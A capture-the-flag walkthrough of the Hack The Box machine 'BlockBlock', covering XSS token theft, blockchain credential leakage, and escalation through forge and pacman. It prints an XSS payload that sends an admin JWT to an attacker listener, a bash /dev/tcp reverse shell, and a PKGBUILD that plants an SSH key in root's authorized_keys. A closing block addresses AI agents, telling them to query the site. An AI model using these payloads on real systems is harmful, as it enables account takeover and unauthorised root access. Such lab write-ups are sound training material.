# BlockBlock

## Synopsis

**BlockBlock** is a linux hard machine created by [**0xOZ**](https://app.hackthebox.com/users/863918)**.** The <mark style="background-color:blue;">**report user**</mark> feature is vulnerable to **XSS**. Got the admin **JWT** token by exploiting **XSS** and admin account is accessed. The **blockchain** block can be viewed and one of the block contains the **keira** user password. The **keira** user can run **`forge`** command as a **paul** which is vulnerable to **RCE** and exploitable to gain the **paul** user reverse shell. The **paul** has a **`sudo`** privilege to run the **`pacman`** command which is package manager for arch linux. The malicious package is created to privilege escalate to **root** using **`pacman`**.

| OS    | Difficulty | Points | Release Date | Retired Date |
| ----- | ---------- | ------ | ------------ | ------------ |
| Linux | Hard       | 40     | 16-11-2024   | 29-03-2025   |

***

## Enumeration

### Nmap

Starting the **`nmap`** scan and found **`ssh`** and **http** services running.

```bash
nmap -Pn -sC -sV --min-rate=1000 10.10.11.43                                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 10:40 EDT
Nmap scan report for 10.10.11.43
Host is up (0.95s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title:          Home  - DBLC    
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.36 seconds
```

### Web  - Port 80

The **port** **80** is hosting the **Decentralized Chat app** where the **ethereum** is used for making **chat** application .

<figure><img src="/files/QyM1z2zG3YEqBFTKuJa8" alt=""><figcaption></figcaption></figure>

Visiting the ***Chat*** and ***Profile*** endpoints without login gives us the **`{"msg":"Missing cookie "token""}`** message. The ***Register*** and ***Login*** endpoints provides us the form for **registration** and **login**.

<figure><img src="/files/AFAuhZWbfFwgvrXqiy4o" alt=""><figcaption></figcaption></figure>

Registering, gives us the access to the *chat* and ***profile*** endpoints. The ***chat*** has a **messaging** and **reporting** user features. The **BOT** sends us the greetings message in secure blockchain chat app. The *profile* shows the **username**, **role** and **recent** **messages** history. Currently I have a **user** role.

<div><figure><img src="/files/rLt28PjhL64TTKH69SGi" alt=""><figcaption><p><em><strong>chat</strong></em></p></figcaption></figure> <figure><img src="/files/cC8f9SUSO7D0bI6a9zPk" alt=""><figcaption><p><em><strong>profile</strong></em></p></figcaption></figure></div>

Sending message doesn't do anything and intercepting the request shows the **JWT** token.

<figure><img src="/files/qPiIDpuEbRZ09KaRsIxr" alt=""><figcaption></figcaption></figure>

The ***chat*** endpoints gives us link to the **smart contracts**. The two smart contract ***Chat.sol*** and ***Database.sol*** is present. The ***Chat.sol*** is used for handling chats and ***Database.sol*** is used database.

### File - Database.sol

{% code title="Database.sol" %}

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;

interface IChat {
    function deleteUserMessages(string calldata user) external;
}

contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }

    address immutable owner;
    IChat chat;

    mapping(string username => User) users;

    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }

    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }

    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }

    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }

    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }

        chat = IChat(_chat);
    }

    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }

    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];

        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }

    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }

        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }

    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }

        users[username].role = role;
        emit RoleUpdated(username);
    }
}
```

{% endcode %}

The above code creates the struct with password, role and exists. It contains the functions for registering user, updating role, changing password, deleting messages and so on.

***

## Exploitation

### Report User Feature - XSS \[ Getting Admin JWT token ]

Opening the **`python`** server and testing the **XSS** payload in <mark style="background-color:blue;">**Report User**</mark> feature gives us the positive result.

<figure><img src="/files/K9NvtXOovrXt2cx0lU8K" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [01/Apr/2025 08:13:42] "GET / HTTP/1.1" 200 -
10.10.11.43 - - [01/Apr/2025 08:14:03] "GET / HTTP/1.1" 200 -
```

I am going to get the admin **JWT** token. The cookie has the **HttpOnly** flag set, so the **`document.cookie`** doesn't gives us the cookie. The ***/app/info*** endpoint leaks the **JWT** token and I will be using **script** to **`fetch`** the token from the endpoint and send the request to my **`nc`** listener.

```javascript
<img src="x" onerror="fetch('http://10.10.11.43/api/info').then(resp => resp.text()).then(body => { fetch('http://10.10.16.34:8443', { method: 'POST', body: body});})" />
```

```bash
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 54374
POST / HTTP/1.1
Host: 10.10.16.34:8443
Connection: keep-alive
Content-Length: 316
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.10.11.43
Referer: http://10.10.11.43/
Accept-Encoding: gzip, deflate

{"role":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MzUxNzkyMCwianRpIjoiYjAzM2IxYjEtZTk4ZC00YWFlLWI5NzctMDllOThhMTRlNzI3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQzNTE3OTIwLCJleHAiOjE3NDQxMjI3MjB9.wcnpFL0HcVwyGlV0D2QmV92w7055AgILcMDU1P7PoPU","username":"admin"}
```

Changed the value of **cookie** using **dev** **tools** and refreshed the page. Got the **admin** access.

<figure><img src="/files/y7YzVymY8K5bDzIqSJVU" alt=""><figcaption></figcaption></figure>

***

## Foothold

### Shell - keira \[ Getting Raw Blockchain ]

The **admin** panel is making ***/api/chat\_address*** <mark style="background-color:green;">GET</mark> request and ***/api/json-rpc*** <mark style="background-color:orange;">POST</mark> request.

<div><figure><img src="/files/nDGHve6A7YZrlPMNDInW" alt=""><figcaption><p><em><strong>/api/chat_address</strong></em></p></figcaption></figure> <figure><img src="/files/g206fKdXqVE1QIcu4WYs" alt=""><figcaption><p><em><strong>/api/json-rpc</strong></em></p></figcaption></figure></div>

The ***/api/json-rpc*** can be used to get the block details with the help of [**eth\_getBlockByNumber()**](https://ethereum.org/en/developers/docs/apis/json-rpc/#eth_getblockbynumber)**.** function. Sending the request to ***/api/json-rpc*** with method as **eth\_getBlockByNumber** gives us the information about the blocks.

<figure><img src="/files/Tghp2AeOY3l2t0Ivx71K" alt=""><figcaption></figcaption></figure>

Getting the **block** **1** input and **decoding** it using **cyberchef** leaks the **credentials** of user **keira**.

<figure><img src="/files/QnjsxJEMpcR2QF0dI7ly" alt=""><figcaption></figcaption></figure>

The credentials is also used in **`ssh`**.

```bash
ssh keira@10.10.11.43          
The authenticity of host '10.10.11.43 (10.10.11.43)' can't be established.
ED25519 key fingerprint is SHA256:Yxhk4seV11xMS6Vp0pPoLicen3kJ7RAkXssZiL2/t3c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
keira@10.10.11.43's password: 
Last login: Tue Apr  1 07:46:45 2025 from 10.10.14.111
[keira@blockblock ~]$ 
```

{% hint style="info" %}
The ***user.txt*** file contains the user flag :clap:
{% endhint %}

***

## Lateral Movement

### Pillaging - keira \[ user ]

The user **keira** has a privilege to run the foundry **`forge`** with **`sudo`** privilege as **paul** user which is present in **paul** ***home*** directory.

```bash
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
[keira@blockblock ~]$ 
```

### Shell - paul \[ RCE via forge ]

**Forge** is a **command-line tool** that ships with **Foundry**. Forge tests, builds, and deploys **smart** **contracts**.

#### Methodology

The **`forge`** **build** contains the **--use** flag  for specifying the ***solc*** version, or a path to a local ***solc***, to build with. It can be used to specify the path to ***reverse shell file*** and **`forge`** will build with the reverse shell and the reverse shell is established in our **`nc`**.

#### Exploit

{% stepper %}
{% step %}

#### Create the reverse shell

{% code title="shell.sh" %}

```bash
#!/bin/bash

bash -i >& /dev/tcp/10.10.16.34/8443 0>&1
```

{% endcode %}

Make it executable.

```bash
[keira@blockblock tmp]$ chmod +x shell.sh
```

{% endstep %}

{% step %}

#### Getting shell

Open **`nc`** listener and run the **`forge`** **build** with **--use** flag.

```bash
[keira@blockblock tmp]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
```

```bash
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.43 46360
[paul@blockblock tmp]$ whoami
whoami
paul
[paul@blockblock tmp]$ 
```

{% endstep %}
{% endstepper %}

***

## Privilege Escalation

### Pillaging - paul \[ user ]

The **paul** is privileged to run the **`pacman`** cli as **root** which is the **arch linux** package manager same as **apt** on debian based linux distros.

```bash
[paul@blockblock ~]$ sudo -l
sudo -l
User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman
[paul@blockblock ~]$ 
```

### Shell - root \[ pacman privilege escalation ]

**TheCyberSimon** has created the [**blog**](https://thecybersimon.com/posts/Privilege-Escalation-via-Pacman/) post about privilege escalation using **`pacman`**.

#### Methodology

Creating malicious package which is used to add our public **SSH** key to root ***authorized\_keys*** file.

#### Exploit

{% stepper %}
{% step %}

#### Creating *PKGBUILD* file

{% code title="PKGBUILD" %}

```
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege escalation"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
  install -Dm755 "$srcdir/authorized_keys" "$pkgdir/root/.ssh/authorized_keys"
}
```

{% endcode %}
{% endstep %}

{% step %}

#### Generating `SSH` keys

```bash
[paul@blockblock tmp]$ ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
[paul@blockblock tmp]$ mv id_rsa.pub authorized_keys
```

{% endstep %}

{% step %}

#### Building package

The **`makepkg`** is used to build packages in arch linux.

```bash
[paul@blockblock tmp]$ makepkg
makepkg
==> Making package: privesc 1.0-1 (Wed 02 Apr 2025 11:15:03 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
  -> Found authorized_keys
==> Validating source files with sha256sums...
    authorized_keys ... Skipped
==> Extracting sources...
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "privesc"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: privesc 1.0-1 (Wed 02 Apr 2025 11:15:04 AM UTC)
[paul@blockblock tmp]$ 
```

{% endstep %}

{% step %}

#### Install the package

Previously the **`makepkg`** command created the ***.zst*** file. To install the package the **`pacman`** command is used.

```bash
[paul@blockblock tmp]$ sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
sudo /usr/bin/pacman -U /tmp/privesc-1.0-1-any.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) privesc-1.0-1

Total Installed Size:  0.00 MiB

:: Proceed with installation? [Y/n] Y 
Y
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
checking available disk space...
:: Processing package changes...
installing privesc...
warning: directory permissions differ on /root/
filesystem: 700  package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700  package: 755
[paul@blockblock tmp]$
```

{% endstep %}

{% step %}

#### Transfering *id\_rsa* to our machine

The **`python3`** is present in machine. So, I will be using **`python`** **http** server for serving the file.

```bash
[paul@blockblock tmp]$ python3 -m http.server
```

```bash
wget http://10.10.11.43:8000/id_rsa                                                                           
--2025-04-02 07:18:20--  http://10.10.11.43:8000/id_rsa
Connecting to 10.10.11.43:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3381 (3.3K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                                      100%[========================================================================================>]   3.30K  15.5KB/s    in 0.2s    

2025-04-02 07:18:21 (15.5 KB/s) - ‘id_rsa’ saved [3381/3381]
```

Change the permission of id\_rsa to 600.

```bash
chmod 600 id_rsa
```

{% endstep %}

{% step %}

#### Getting shell

```bash
ssh -i id_rsa root@10.10.11.43                    
Last login: Thu Nov 14 14:47:11 2024
[root@blockblock ~]# ls
root.txt  scripts
[root@blockblock ~]# 
```

{% endstep %}
{% endstepper %}

{% hint style="info" %}
The root.txt file contains the root flag :tada:
{% endhint %}

***

## Proof of Concept

The below video provides the **PoC** of **BlockBlock** machine.

{% embed url="<https://odysee.com/@runasdexter:a/blockblock:f>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://runasdexter.gitbook.io/contents/machines/season-6/blockblock.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
